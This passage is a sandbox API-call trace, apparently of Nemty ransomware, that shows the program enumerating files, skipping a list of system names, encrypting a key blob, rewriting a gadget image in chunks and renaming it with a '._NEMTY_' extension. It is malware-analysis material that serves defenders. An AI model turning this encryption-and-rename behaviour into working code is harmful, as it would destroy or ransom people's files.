hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.243] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7659fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="..") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="...") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="windows") returned -1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="$RECYCLE.BIN") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="rsa") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="NTDETECT.COM") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="ntldr") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="MSDOS.SYS") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="IO.SYS") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="boot.ini") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="boot.ini") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="ntuser.dat") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="desktop.ini") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="CONFIG.SYS") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="RECYCLER") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="BOOTSECT.BAK") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="bootmgr") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="programdata") returned 1 [0139.243] lstrcmpiW (lpString1="settings_box_left.png", lpString2="appdata") returned 1 [0139.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0139.243] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.243] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_left.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_left.png", lpUsedDefaultChar=0x0) returned 21 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340120 [0139.244] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.244] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0139.244] Sleep (dwMilliseconds=0x5) [0139.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6a6d750, dwHighDateTime=0x1d561e8)) [0139.259] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6a6d750, dwHighDateTime=0x1d561e8)) [0139.259] GetLastError () returned 0x5 [0139.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.259] GetLastError () returned 0x5 [0139.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.259] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.259] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.259] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e8 [0139.259] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e8, pcchString=0x653e91c | out: pszString="cG/N0FAqiZ0IJIHvE50oFA8Iie/Ex+mUfWpE8V/fs9z+u6wWnA3ELeX9rS/50Pk+\r\nYoJe7VJmYJ44Yh0BraND+kiUBE0Z0eR0Gn89qDX6icjQRo5BVNIx51VRzlZaawql\r\n2gp5RUUN8GvcmkKCJVosICMX6h190oB6diIaskRXpDU8/XNP6QT1Na7/C1qz6LzE\r\nITdVQxOfNY8BQsllMC/VyDa7KDmx2waiHQMcXNgNtsF6fCbmTXiQm2b4H3MsX6qo\r\nLMnv3gRheQQo6q8IT2q5kBFpwsiLrIX/78nT+In+xEgaUTmO+lyAjbQXuv39iSQe\r\nP5k9ioHjLjULGWRd0t9YSQ==\r\n", pcchString=0x653e91c) returned 1 [0139.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0139.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e8 [0139.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.260] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.260] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.269] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.308] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.367] CloseHandle (hObject=0xffffffff) returned 0 [0139.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340358 [0139.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340420 [0139.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340420 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_left.png._nemty_kgobjgd_")) returned 0 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340358 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e8 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.368] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="..") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="...") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="windows") returned -1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="$RECYCLE.BIN") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="rsa") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="NTDETECT.COM") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="ntldr") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="MSDOS.SYS") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="IO.SYS") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="boot.ini") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="boot.ini") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="ntuser.dat") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="desktop.ini") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="CONFIG.SYS") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="RECYCLER") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="BOOTSECT.BAK") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="bootmgr") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="programdata") returned 1 [0139.368] lstrcmpiW (lpString1="settings_box_right.png", lpString2="appdata") returned 1 [0139.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_right.png", 